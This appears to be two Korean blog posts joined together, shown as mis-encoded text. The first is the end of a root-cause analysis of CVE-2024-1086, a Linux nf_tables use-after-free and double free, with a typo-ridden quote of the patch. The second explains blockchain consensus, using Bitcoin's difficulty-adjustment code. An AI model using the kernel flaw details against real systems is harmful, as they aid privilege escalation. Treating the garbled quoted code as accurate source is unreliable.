NF_VERDICT_MASK ๋งคํฌ๋กœ๋ฅผ ํ†ตํ•ด verdict.code์˜ ํ•˜์œ„ 16๋น„ํŠธ๋ฅผ ์ถ”์ถœํ•˜๋ฉด, โ€œ0xFFFF0000 & 0x0000FFFFโ€๊ฐ€ ๋˜์–ด โ€œ0x00000000โ€์ด ๋ฉ๋‹ˆ๋‹ค. ์ด ๊ฐ’์€ NF_DROP์„ ์˜๋ฏธํ•˜๊ธฐ ๋•Œ๋ฌธ์— ํ•ด๋‹น ํŒจํ‚ท์„ ๋“œ๋กญํ•˜๋Š” ๊ฒƒ์œผ๋กœ ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ nf_hook_slow() ํ•จ์ˆ˜์—์„œ ํŒจํ‚ท์„ ๋“œ๋กญํ•˜๋ ค๋Š” ์ฒ˜๋ฆฌ ํ›„, NF_DROP_GETERR(verdict) ์—ฐ์‚ฐ์— ์˜ํ•ด ret ๊ฐ’์€ -65535๋กœ ์„ค์ •๋˜๋ฉฐ, NF_ACCEPT๋กœ ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค.

์ด๋กœ ์ธํ•ด ์ด๋ฏธ kfree_skb()๋กœ ํ•ด์ œ๋œ ํŒจํ‚ท์ด ๋‹ค์‹œ ์ฒ˜๋ฆฌ๋˜์–ด ์ด์ „์— ํ•ด์ œ๋œ ์†Œ์ผ“ ๋ฉ”๋ชจ๋ฆฌ(skb)๋ฅผ ์ฐธ์กฐํ•˜๊ฒŒ ๋˜์–ด Use-After-Free(UAF) ์ƒํ™ฉ์ด ๋ฐœ์ƒํ•˜๊ณ , ๊ทธ ํ›„ ๋‹ค์‹œ ์†Œ์ผ“ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ•ด์ œํ•˜๋ฉด์„œ ์ด์ค‘ ํ•ด์ œ(double-free)๊ฐ€ ๋ฐœ์ƒํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

ํŒจ์น˜๋œ nft_verdict_init() ํ•จ์ˆ˜๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

switch (data->verdict.code) {  case NF_ACCEPT:  case NF_DROP:  case NF_QUEUE:     break;  case NFT_CONTINUE:   case NFT BREAK:  case NFT_RETURN:     data->verdict.chain-chain;     break;  default:     return -EINVAL;  }

data->verdict.code ๊ฐ’์— ๋Œ€ํ•ด ๊ฒ€์ฆ์ด ์ถ”๊ฐ€๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด์ œ verdict.code ๊ฐ’์€ ํ—ˆ์šฉ๋œ ๊ฐ’๋“ค๋งŒ ์ฒ˜๋ฆฌํ•˜๊ณ , ์ž˜๋ชป๋œ ๊ฐ’์ด ๋“ค์–ด์˜ค๋ฉด ๋ฌด์กฐ๊ฑด -EINVAL์„ ๋ฐ˜ํ™˜ํ•˜์—ฌ ์•…์˜์ ์ธ ์ž…๋ ฅ์„ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค. ์ด๋กœ ์ธํ•ด ํŒจํ‚ท ์ฒ˜๋ฆฌ๊ฐ€ ์ •์ƒ์ ์œผ๋กœ ์ด๋ฃจ์–ด์ง€๋ฉฐ, ์ทจ์•ฝ์ ์„ ๋ฐฉ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ฒฐ๋ก ์ ์œผ๋กœ, ์ด ์ทจ์•ฝ์ ์€ nf_hook_slow()์—์„œ ํŒจํ‚ท์„ ์ฒ˜๋ฆฌํ•˜๊ณ , ์ž˜๋ชป๋œ verdict ๊ฐ’์œผ๋กœ ์ธํ•ด ์ด๋ฏธ ํ•ด์ œ๋œ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์ฐธ์กฐํ•˜๊ฒŒ ๋˜์–ด Use-After-Free(UAF)์™€ ์ด์ค‘ ํ•ด์ œ(double-free) ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ํŒจ์น˜๋œ ๋ฒ„์ „์—์„œ๋Š” verdict.code ๊ฐ’์„ ์ง์ ‘ ๊ฒ€์ฆํ•˜์—ฌ ์œ ํšจํ•˜์ง€ ์•Š์€ ๊ฐ’์— ๋Œ€ํ•ด ์˜ค๋ฅ˜๋ฅผ ๋ฐ˜ํ™˜ํ•จ์œผ๋กœ์จ ์ด ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•ฉ๋‹ˆ๋‹ค.

Reference

https://nvd.nist.gov/vuln/detail/cve-2024-1086

[Research] Five Consensus Algorithms in Blockchain [ko]

9 March 2025 at 08:00

Introduction

์•ˆ๋…•ํ•˜์„ธ์š” bekim์ž…๋‹ˆ๋‹ค.

์ด์ „ ์—ฐ๊ตฌ๊ธ€์—์„œ๋Š” ๋น„ํŠธ์ฝ”์ธ ๋„คํŠธ์›Œํฌ์— ๋ธ”๋ก์„ ์ถ”๊ฐ€ํ•˜์—ฌ ๊ฑฐ๋ž˜๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๋Š” ๊ฒƒ์ด โ€œProof of Workโ€์ž„์„ ์งง๊ฒŒ ์•Œ๋ ค๋“œ๋ ธ์ฃ ? ์‚ฌ์‹ค ์ด ๊ณผ์ •์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๋Š” ํ•ฉ์˜ ์•Œ๊ณ ๋ฆฌ์ฆ˜์€ PoW ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ์—ฌ๋Ÿฌ ๊ฐ€์ง€๊ฐ€ ์žˆ์–ด์š”. ํ•ฉ์˜ ์•Œ๊ณ ๋ฆฌ์ฆ˜(Consensus Algorithm)์ด๋ž€, ๋ธ”๋ก์ฒด์ธ ๋„คํŠธ์›Œํฌ์˜ ์ฐธ์—ฌ์ž๋“ค์ด ํ•˜๋‚˜์˜ ์œ ํšจํ•œ ๋ธ”๋ก์„ ์„ ํƒํ•˜๊ณ , ํ•ด๋‹น ์ฒด์ธ์„ ์œ ์ง€ํ•˜๋Š” ๋ฐฉ์‹์„ ๊ฒฐ์ •ํ•˜๋Š” ๋งค์ปค๋‹ˆ์ฆ˜์„ ๋งํ•ด์š”.
์ด๋ฒˆ ์—ฐ๊ตฌ๊ธ€์—์„œ๋Š” ๊ทธ ์ค‘์—์„œ๋„ ์ž˜ ์•Œ๋ ค์ง„ ์•Œ๊ณ ๋ฆฌ์ฆ˜์ธ PoS, PoW์™€ DPoS, PBFT, Hybrid PoW/PoS์— ๋Œ€ํ•ด ์„ค๋ช…๋“œ๋ฆฌ๊ฒ ์Šต๋‹ˆ๋‹ค.

1. Proof of Work (PoW)

์ €๋ฒˆ์— ๋ง์”€๋“œ๋ ธ๋˜ ์ž‘์—… ์ฆ๋ช…์„ ๊ฐ„๋‹จํ•˜๊ฒŒ ์„ค๋ช…๋“œ๋ฆฌ๋ฉด, ์ž‘์—…์ฆ๋ช…์€ ์ฑ„๊ตด์ž๊ฐ€ ์—ฐ์‚ฐ์„ ์ˆ˜ํ–‰ํ•˜์—ฌ ํŠน์ • ๋‚œ์ด๋„๋ฅผ ๋งŒ์กฑํ•˜๋Š” ํ•ด์‹œ ๊ฐ’์„ ์ฐพ๋Š” ๋ฐฉ์‹์ž…๋‹ˆ๋‹ค. ์ด ๋ฐฉ์‹์€ ๋น„ํŠธ์ฝ”์ธ์—์„œ ์ฒ˜์Œ ๋„์ž…๋˜์—ˆ์œผ๋ฉฐ, ์ฑ„๊ตด์ž๋Š” Nonce ๊ฐ’์„ ์กฐ์ •ํ•˜๋ฉฐ ๋ชฉํ‘œ ํ•ด์‹œ ๊ฐ’์„ ์ฐพ๋Š” ๊ณผ์ •์„ ๋ฐ˜๋ณตํ•ด์•ผ ํ•ด์š”.
๋น„ํŠธ์ฝ”์ธ์€ ํ‰๊ท  10๋ถ„๋งˆ๋‹ค ๋ธ”๋ก์ด ์ƒ์„ฑ๋˜๋„๋ก ์„ค๊ณ„๋˜์–ด์žˆ๋Š”๋ฐ, ์ด๋ฅผ ์œ ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ๋„คํŠธ์›Œํฌ๋Š” ์•ฝ 2์ฃผ(2016๊ฐœ ๋ธ”๋ก)๋งˆ๋‹ค ๋‚œ์ด๋„(Difficulty)๋ฅผ ์กฐ์ •ํ•ด์š”.

์‹ค์ œ ๋น„ํŠธ์ฝ”์ธ์˜ ์ตœ์‹  ๊ตฌํ˜„์„ ๊ธฐ์ค€์œผ๋กœ, PoW๊ฐ€ ์–ด๋–ป๊ฒŒ ๋™์ž‘ํ•˜๋Š”์ง€ ์‚ดํŽด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค!

unsigned int GetNextWorkRequired(const CBlockIndex* pindexLast, const CBlockHeader *pblock, const Consensus::Params& params){    assert(pindexLast != nullptr);    unsigned int nProofOfWorkLimit = UintToArith256(params.powLimit).GetCompact();// Only change once per difficulty adjustment interval    // [1]     if ((pindexLast->nHeight+1) % params.DifficultyAdjustmentInterval() != 0)    {        if (params.fPowAllowMinDifficultyBlocks)        {            // Special difficulty rule for testnet:            // If the new block's timestamp is more than 2* 10 minutes            // then allow mining of a min-difficulty block.            // [2]            if (pblock->GetBlockTime() > pindexLast->GetBlockTime() + params.nPowTargetSpacing*2)                return nProofOfWorkLimit;            else            {                // Return the last non-special-min-difficulty-rules-block                // [3]                const CBlockIndex* pindex = pindexLast;                while (pindex->pprev && pindex->nHeight % params.DifficultyAdjustmentInterval() != 0 && pindex->nBits == nProofOfWorkLimit)                    pindex = pindex->pprev;                return pindex->nBits;            }        }        // [4]        return pindexLast->nBits;    }    // Go back by what we want to be 14 days worth of blocks    // [5]    int nHeightFirst = pindexLast->nHeight - (params.DifficultyAdjustmentInterval()-1);    assert(nHeightFirst >= 0);    const CBlockIndex* pindexFirst = pindexLast->GetAncestor(nHeightFirst);    assert(pindexFirst);    return CalculateNextWorkRequired(pindexLast, pindexFirst->GetBlockTime(), params);}

[1] ๋น„ํŠธ์ฝ”์ธ์€ 2016๊ฐœ ๋ธ”๋ก๋งˆ๋‹ค ๋‚œ์ด๋„๋ฅผ ์กฐ์ •ํ•ด์š”. ๋งŒ์•ฝ ๋‹ค์Œ ๋ธ”๋ก์˜ ๋†’์ด(pindexLast->nHeight+1)๊ฐ€ 2016(params.DifficultyAdjustmentInterval()) ์˜ ๋ฐฐ์ˆ˜๊ฐ€ ์•„๋‹ˆ๋ผ๋ฉด ๋‚œ์ด๋„๋ฅผ ๋ณ€๊ฒฝํ•˜์ง€ ์•Š๊ณ  ๊ธฐ์กด ๋ธ”๋ก์˜ ๋‚œ์ด๋„(pindexLast->nBits)[4]๋ฅผ ์œ ์ง€ํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

[2] ์ด ๋•Œ, Testnet ํ™˜๊ฒฝ์—์„œ๋Š”, ์ด์ „ ๋ธ”๋ก์ด ์ƒ์„ฑ๋œ ํ›„ ๋ชฉํ‘œ์‹œ๊ฐ„(10๋ถ„)์˜ 2๋ฐฐ์ธ 20๋ถ„ ์ด์ƒ์ด ์ง€๋‚˜๋„๋ก ์ƒˆ๋กœ์šด ๋ธ”๋ก์ด ์ƒ์„ฑ๋˜์ง€ ์•Š์œผ๋ฉด ๋‚œ์ด๋„๋ฅผ ์ตœ์†Œ๊ฐ’(nProofOfWorkLimit)์œผ๋กœ ์กฐ์ •ํ•˜๋Š” ์˜ˆ์™ธ ๊ทœ์น™์ด ์ ์šฉ๋˜๋Š”๋ฐ์š”.

[3] Testnet์—์„œ ๋‚œ์ด๋„๋ฅผ ์ตœ์†Œ๊ฐ’์œผ๋กœ ์กฐ์ •ํ–ˆ๋”๋ผ๋„, ์ดํ›„ ์ •์ƒ์ ์ธ ๋ธ”๋ก์ด ์ƒ์„ฑ๋˜๋ฉด ๋‹ค์‹œ ์›๋ž˜ ๋‚œ์ด๋„๋กœ ๋ณต๊ท€ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์—์„œ ์ด์ „ ๋ธ”๋ก์„ ๋”ฐ๋ผ๊ฐ€๋ฉฐ ๊ฐ€์žฅ ์ตœ๊ทผ์˜ ์ •์ƒ์ ์ธ ๋‚œ์ด๋„๋ฅผ ๊ฐ€์ง„ ๋ธ”๋ก์„ ์ฐพ์•„ ๊ทธ ๋‚œ์ด๋„๋ฅผ ์œ ์ง€ํ•ด์š”.

const CBlockIndex* pindex = pindexLast;while (pindex->pprev && pindex->nHeight % params.DifficultyAdjustmentInterval() != 0 && pindex->nBits == nProofOfWorkLimit)    pindex = pindex->pprev;return pindex->nBits;

์ด๋ฅผ ์œ„ํ•ด ๋น„ํŠธ์ฝ”์ธ์€ ๊ฐ€์žฅ ์ตœ๊ทผ์— ์ถ”๊ฐ€๋œ ๋ธ”๋ก(pindexLast)์„ ์‹œ์ž‘์ ์œผ๋กœ, ์ด์ „ ๋ธ”๋ก์„ ๋”ฐ๋ผ๊ฐ€๋ฉฐ(while (pindex->pprev)) ๊ฐ€์žฅ ์ตœ๊ทผ์˜ ์ •์ƒ์ ์ธ ๋‚œ์ด๋„๋ฅผ ๊ฐ€์ง„ ๋ธ”๋ก์„ ์ฐพ์•„ ๋‚œ์ด๋„๋ฅผ ์œ ์ง€ํ•ด์š”.
์ฆ‰, ์ตœ์†Œ ๋‚œ์ด๋„๋กœ ์ƒ์„ฑ๋œ ๋ธ”๋ก๋“ค์€ ๊ฑด๋„ˆ ๋›ฐ๊ณ (pindex->nBits == nProofOfWorkLimit), ๋‚œ์ด๋„ ์กฐ์ • ์ฃผ๊ธฐ์— ๋„๋‹ฌํ•˜์ง€ ์•Š์€ ๋ธ”๋ก๋“ค์„ ํƒ์ƒ‰ํ•˜๋‹ค๊ฐ€(pindex->nHeight % params.DifficultyAdjustmentInterval() != 0), ๋‚œ์ด๋„ ์กฐ์ •์ด ์ด๋ฃจ์–ด์ง„ ๋ธ”๋ก์„ ๋งŒ๋‚˜๋ฉด ํƒ์ƒ‰์„ ์ข…๋ฃŒํ•ฉ๋‹ˆ๋‹ค.

[5] ํ•˜์ง€๋งŒ, ํ˜„์žฌ ๋ธ”๋ก์˜ ๋†’์ด(pindexLast->nHeight)๊ฐ€ ๋‚œ์ด๋„ ์กฐ์ • ์ฃผ๊ธฐ(2016๊ฐœ์˜ ๋ฐฐ์ˆ˜)์— ๋„๋‹ฌํ–ˆ์„ ๊ฒฝ์šฐ, ๋น„ํŠธ์ฝ”์ธ ๋„คํŠธ์›Œํฌ์—์„œ๋Š” ์ƒˆ๋กœ์šด ๋‚œ์ด๋„๋ฅผ ๊ณ„์‚ฐํ•˜์—ฌ ์กฐ์ •ํ•ฉ๋‹ˆ๋‹ค.


๋น„ํŠธ์ฝ”์ธ์—์„œ๋Š” ์ด์ „ 2016๊ฐœ ๋ธ”๋ก์ด ์˜ˆ์ƒ๋ณด๋‹ค ๋นจ๋ฆฌ ์ƒ์„ฑ๋˜์—ˆ์œผ๋ฉด ๋‚œ์ด๋„๋ฅผ ๋†’์ด๊ณ , ๋Š๋ฆฌ๊ฒŒ ์ƒ์„ฑ๋˜์—ˆ์œผ๋ฉด ๋‚œ์ด๋„๋ฅผ ๋‚ฎ์ถ”๋Š” ๋ฐฉ์‹์œผ๋กœ ์„ค๊ณ„๋˜์—ˆ์–ด์š”.

unsigned int CalculateNextWorkRequired(const CBlockIndex* pindexLast, int64_t nFirstBlockTime, const Consensus::Params& params){    if (params.fPowNoRetargeting)        return pindexLast->nBits;    // Limit adjustment step    // [1]    int64_t nActualTimespan = pindexLast->GetBlockTime() - nFirstBlockTime;    // [2]    if (nActualTimespan < params.nPowTargetTimespan/4)        nActualTimespan = params.nPowTargetTimespan/4;    if (nActualTimespan > params.nPowTargetTimespan*4)        nActualTimespan = params.nPowTargetTimespan*4;    // Retarget    const arith_uint256 bnPowLimit = UintToArith256(params.powLimit);    arith_uint256 bnNew;    // Special difficulty rule for Testnet4    // [3]    if (params.enforce_BIP94) {        // Here we use the first block of the difficulty period. This way        // the real difficulty is always preserved in the first block as        // it is not allowed to use the min-difficulty exception.        int nHeightFirst = pindexLast->nHeight - (params.DifficultyAdjustmentInterval()-1);        const CBlockIndex* pindexFirst = pindexLast->GetAncestor(nHeightFirst);        bnNew.SetCompact(pindexFirst->nBits);    } else {        bnNew.SetCompact(pindexLast->nBits);    }// [4]    bnNew *= nActualTimespan;    bnNew /= params.nPowTargetTimespan;// [5]    if (bnNew > bnPowLimit)        bnNew = bnPowLimit;    return bnNew.GetCompact();}

[1] ๋จผ์ €, ์ตœ๊ทผ ๋ธ”๋ก์˜ ํƒ€์ž„์Šคํƒฌํ”„(pindexLast->GetBlockTime())์™€ ์ด์ „ 2016๊ฐœ ๋ธ”๋ก์˜ ํƒ€์ž„์Šคํƒฌํ”„(nFirstBlockTime)์„ ๋น„๊ตํ•˜์—ฌ, ์ด์ „ 2016๊ฐœ ๋ธ”๋ก์ด ์ƒ์„ฑ๋˜๋Š”๋ฐ ๊ฑธ๋ฆฐ ์‹ค์ œ ์‹œ๊ฐ„์„ nActualTimespan ์— ์ €์žฅํ•ฉ๋‹ˆ๋‹ค.์ด ๊ฐ’์€ ์ดํ›„ ๋‚œ์ด๋„ ์กฐ์ •์„ ์œ„ํ•œ ๊ธฐ์ค€์ด ๋ผ์š”.

int64_t nActualTimespan = pindexLast->GetBlockTime() - nFirstBlockTime;

[2] ๋น„ํŠธ์ฝ”์ธ์€ nActualTimespan์„ ์ธก์ •ํ•ด ๋ชฉํ‘œ ์‹œ๊ฐ„(params.nPowTargetTimespan)๊ณผ ๋น„๊ตํ•œ ํ›„ ๋‚œ์ด๋„๋ฅผ ์กฐ์ •ํ•˜๋Š”๋ฐ, ๋‚œ์ด๋„๊ฐ€ ๊ธ‰๊ฒฉํ•˜๊ฒŒ ๋ณ€ํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ๋ชฉํ‘œ ์‹œ๊ฐ„์˜ 1/4๋ฐฐ๊นŒ์ง€ ๋‚œ์ด๋„๋ฅผ ์ฆ๊ฐ€์‹œํ‚ค๊ฑฐ๋‚˜, 4๋ฐฐ๊นŒ์ง€ ๋‚œ์ด๋„๋ฅผ ๊ฐ์†Œ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋„๋ก ์ œํ•œํ•ด์š”.

if (nActualTimespan < params.nPowTargetTimespan/4)    nActualTimespan = params.nPowTargetTimespan/4;if (nActualTimespan > params.nPowTargetTimespan*4)    nActualTimespan = params.nPowTargetTimespan*4;

์ด๋Ÿฌํ•œ ์ œํ•œ์„ ๋‘๋ฉด ๋„คํŠธ์›Œํฌ์˜ ๊ธ‰๊ฒฉํ•œ ๋ณ€๋™์„ ๋ฐฉ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋จผ์ €, ๋‚œ์ด๋„ ์กฐ์ • ์‹œ ๊ธฐ์ค€์ด ๋˜๋Š” ๋ธ”๋ก์„ ๊ฒฐ์ •ํ•˜๋Š” ๊ณผ์ •์€ params.enforce_BIP94 ๊ฐ’์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์ง‘๋‹ˆ๋‹ค.
์ด ๊ทœ์น™์ด ์ ์šฉ๋˜๋Š” ๊ฒฝ์šฐ,ํ˜„์žฌ ๋ธ”๋ก์—์„œ 2016๊ฐœ ์ด์ „ ๋ธ”๋ก(pindexFirst)์˜ ๋‚œ์ด๋„(pindexFirst->nBits)๋ฅผ ๊ธฐ์ค€์œผ๋กœ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ๋‚œ์ด๋„๋ฅผ ์ตœ์†Œ๊ฐ’์œผ๋กœ ๋‚ฎ์ถ”๋Š” ์˜ˆ์™ธ์ ์ธ ์ƒํ™ฉ์„ ๋ฐฉ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ํ˜„์žฌ ๋ธ”๋ก์˜ ๋‚œ์ด๋„(pindexLast->nBits)๋ฅผ ๊ธฐ์ค€์œผ๋กœ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค
์ด๋Ÿฌํ•œ ๋ฐฉ์‹์€ Testnet๊ณผ ๊ฐ™์€ ํ™˜๊ฒฝ์—์„œ ๋‚œ์ด๋„๊ฐ€ ๋น„์ •์ƒ์ ์œผ๋กœ ๋‚ฎ์•„์ง€๋Š” ํ˜„์ƒ์„ ๋ฐฉ์ง€ํ•˜๋Š” ์—ญํ• ์„ ํ•ฉ๋‹ˆ๋‹ค.

if (params.enforce_BIP94) {    // Here we use the first block of the difficulty period. This way    // the real difficulty is always preserved in the first block as    // it is not allowed to use the min-difficulty exception.    int nHeightFirst = pindexLast->nHeight - (params.DifficultyAdjustmentInterval()-1);    const CBlockIndex* pindexFirst = pindexLast->GetAncestor(nHeightFirst);    bnNew.SetCompact(pindexFirst->nBits);} else {    bnNew.SetCompact(pindexLast->nBits);}

BIP(Bitcoin Improvement Proposal): ๋น„ํŠธ์ฝ”์ธ ํ”„๋กœํ† ์ฝœ ๊ฐœ์„ ์•ˆ. BIP94๋Š” ๋น„ํŠธ์ฝ”์ธ ํ”„๋กœํ† ์ฝœ์˜ ๊ฐœ์„ ์•ˆ ์ค‘ ํ•˜๋‚˜๋กœ, ๋‚œ์ด๋„ ์กฐ์ • ์‹œ ํŠน์ • ๋„คํŠธ์›Œํฌ(Testnet4 ๋“ฑ)์—์„œ ์˜ˆ์™ธ์ ์œผ๋กœ ๋‚œ์ด๋„๊ฐ€ ๊ธ‰๊ฒฉํžˆ ๋‚ฎ์•„์ง€๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๋Š” ๊ทœ์น™์ž…๋‹ˆ๋‹ค.

[4] ๊ทธ ํ›„, nActualTimespan ๊ฐ’์„ ์ด์šฉํ•˜์—ฌ ์ƒˆ๋กœ์šด ๋‚œ์ด๋„๋ฅผ ๊ณ„์‚ฐํ•ฉ๋‹ˆ๋‹ค. ๋น„ํŠธ์ฝ”์ธ์€ ๋ชฉํ‘œ ๋ธ”๋ก ์ƒ์„ฑ ์‹œ๊ฐ„์„ 10๋ถ„์œผ๋กœ ์„ค์ •ํ•˜๊ณ , 2016๊ฐœ์˜ ๋ธ”๋ก์„ ์ƒ์„ฑํ•œ๋‹ค๊ณ  ๊ฐ€์ •ํ–ˆ์„ ๋•Œ ๋ชฉํ‘œ ์‹œ๊ฐ„(params.nPowTargetTimespan)์€ ์•ฝ 2์ฃผ(1209600์ดˆ)์ž…๋‹ˆ๋‹ค. ๋‚œ์ด๋„๋Š” ์‹ค์ œ ๋ธ”๋ก ์ƒ์„ฑ์‹œ๊ฐ„๊ณผ ๋ชฉํ‘œ ์‹œ๊ฐ„์˜ ๋น„์œจ์„ ์ ์šฉํ•ด์„œ ์กฐ์ •ํ•ด์š”.

bnNew *= nActualTimespan;bnNew /= params.nPowTargetTimespan;

์ฆ‰, ์ƒˆ๋กœ์šด ๋‚œ์ด๋„ = (๊ธฐ์กด ๋‚œ์ด๋„x์‹ค์ œ ๊ฑธ๋ฆฐ ์‹œ๊ฐ„)/๋ชฉํ‘œ ์‹œ๊ฐ„ ์˜ ๊ณต์‹์œผ๋กœ ๋‚œ์ด๋„๋ฅผ ์กฐ์ •ํ•จ์œผ๋กœ์จ, ๋ธ”๋ก ์ƒ์„ฑ ์†๋„๋ฅผ ํ‰๊ท  10๋ถ„์œผ๋กœ ์œ ์ง€ํ•  ์ˆ˜ ์žˆ์–ด์š”

[5] ๋˜ํ•œ, ๋‚œ์ด๋„๊ฐ€ ๋„ˆ๋ฌด ๋‚ฎ์•„์ง€๋Š” ๊ฒƒ์„ ๋ง‰๊ธฐ ์œ„ํ•ด ์ตœ์†Œ ๋‚œ์ด๋„(bnPowLimit)๋ณด๋‹ค ๋‚ฎ์•„์ง€์ง€ ์•Š๋„๋ก ์ œํ•œํ•ฉ๋‹ˆ๋‹ค.

if (bnNew > bnPowLimit)    bnNew = bnPowLimit;

์ด๋ ‡๊ฒŒ ๊ณ„์‚ฐ๋œ ๋‚œ์ด๋„๋Š” ๋‹ค์Œ ๋ธ”๋ก์˜ ๋‚œ์ด๋„๋กœ ์ ์šฉ๋˜๋ฉฐ, ์ฑ„๊ตด์ž๋Š” ์ด ๋ชฉํ‘œ๊ฐ’์„ ํ•ด๊ฒฐํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค.

ํ•˜์ง€๋งŒ ์ด์ „ ์—ฐ๊ตฌ ๊ธ€์—์„œ ์–ธ๊ธ‰ํ–ˆ๋“ฏ์ด, PoW ๋ฐฉ์‹์€ ๋ง‰๋Œ€ํ•œ ์—ฐ์‚ฐ๋Ÿ‰์„ ์š”๊ตฌํ•˜์—ฌ ์ „๋ ฅ ์†Œ๋น„๊ฐ€ ๋งค์šฐ ํฝ๋‹ˆ๋‹ค. ๋˜ํ•œ, ๋Œ€๊ทœ๋ชจ ์ฑ„๊ตด์žฅ(mining pool)์˜ ๋“ฑ์žฅ์œผ๋กœ ์ธํ•ด ํŠน์ • ๊ทธ๋ฃน์ด ๋„คํŠธ์›Œํฌ ์ „์ฒด ํ•ด์‹œ ํŒŒ์›Œ์˜ 51% ์ด์ƒ์„ ํ™•๋ณดํ•˜๊ฒŒ ๋˜๋ฉด, ํŠธ๋žœ์žญ์…˜ ์กฐ์ž‘ ๋ฐ ์ด์ค‘ ์ง€๋ถˆ(Double Spending) ๊ณต๊ฒฉ์˜ ์œ„ํ—˜์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ PoW์˜ ํ•œ๊ณ„๋ฅผ ๊ทน๋ณตํ•˜๊ธฐ ์œ„ํ•ด, ์ง€๋ถ„ ์ฆ๋ช…(Proof of Stake, PoS) ํ•ฉ์˜ ์•Œ๊ณ ๋ฆฌ์ฆ˜์ด ๋„์ž…๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

2. Proof of Stake (PoS)

์ง€๋ถ„ ์ฆ๋ช…์€ ๋ธ”๋ก์ฒด์ธ์—์„œ ์ฝ”์ธ์˜ ๋ณด์œ ๋Ÿ‰๊ณผ ๋ณด์œ  ๊ธฐ๊ฐ„์— ๋”ฐ๋ผ ๋ธ”๋ก ์ƒ์„ฑ๊ณผ ๊ฒ€์ฆ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜๋Š” ํ•ฉ์˜ ์•Œ๊ณ ๋ฆฌ์ฆ˜์ž…๋‹ˆ๋‹ค. PoW์—์„œ๋Š” ๋ณต์žกํ•œ ์ˆ˜ํ•™ ๋ฌธ์ œ๋ฅผ ํ’€์–ด์•ผํ•˜์ง€๋งŒ, PoS์—์„œ๋Š” ํ•ด๋‹น ๋„คํŠธ์›Œํฌ์˜ ์ฝ”์ธ์„ ์ผ์ •๋Ÿ‰ ์˜ˆ์น˜(Staking)ํ•˜๋ฉด ๊ฒ€์ฆ์ž(validator)๋กœ ์ฐธ์—ฌํ•  ์ˆ˜ ์žˆ์–ด์š”.
์ด ๊ณผ์ •์—์„œ ๊ฒ€์ฆ์ž๋Š” ๋ณด์œ ํ•œ ์ง€๋ถ„์˜ ํฌ๊ธฐ์— ๋”ฐ๋ผ ๋ธ”๋ก ์ƒ์„ฑ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์•„์ง‘๋‹ˆ๋‹ค. ๋˜ํ•œ, ์ •์งํ•œ ํ–‰๋™์„ ํ•˜๋ฉด ๋ณด์ƒ์„ ๋ฐ›๊ณ , ๋ถ€์ •ํ–‰์œ„๋ฅผ ํ•˜๋ฉด ํŒจ๋„ํ‹ฐ(์˜ˆ์น˜๊ธˆ ์‚ญ๊ฐ)๋ฅผ ๋ฐ›๋Š” ๊ฒฝ์ œ์  ์ธ์„ผํ‹ฐ๋ธŒ๋ฅผ ํ†ตํ•ด ๋ณด์•ˆ์„ฑ์„ ๋†’์ž…๋‹ˆ๋‹ค. PoS ๊ฐœ๋…์€ 2012๋…„ Peercoin์—์„œ ์ตœ์ดˆ๋กœ ๊ตฌํ˜„๋˜์—ˆ๊ณ , ์ดํ›„ ๋งŽ์€ ๋ธ”๋ก์ฒด์ธ์ด ์ด ๋ฐฉ์‹์„ ์ฑ„ํƒํ–ˆ์Šต๋‹ˆ๋‹ค. 2022๋…„์—๋Š” ์ด๋”๋ฆฌ์›€๋„ PoW์—์„œ PoS๋กœ ์ „ํ™˜ํ–ˆ์Šต๋‹ˆ๋‹ค.

์‚ฌ์‹ค ์ด๋”๋ฆฌ์›€์„ ์˜ˆ์‹œ๋กœ PoS์˜ ์ž‘๋™ ๋ฐฉ์‹์„ ์„ค๋ช…ํ•˜๊ณ  ์‹ถ์—ˆ๋Š”๋ฐ, ์ฝ”๋“œ ๋ถ„์„ํ•˜๋ ค๋ฉด ์—ฐ๊ตฌ๊ธ€์ด ๋„ˆ๋ฌด ๊ธธ์–ด์งˆ ๊ฒƒ ๊ฐ™์•„์š”. ๊ทธ๋ž˜์„œ ์—„์ฒญ ๋‹จ์ˆœํ™”ํ•œ PoS ํ•ฉ์˜ ์•Œ๊ณ ๋ฆฌ์ฆ˜ ์ฝ”๋“œ๋ฅผ ํ†ตํ•ด ์›๋ฆฌ๋ฅผ ํŒŒ์•…ํ•ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

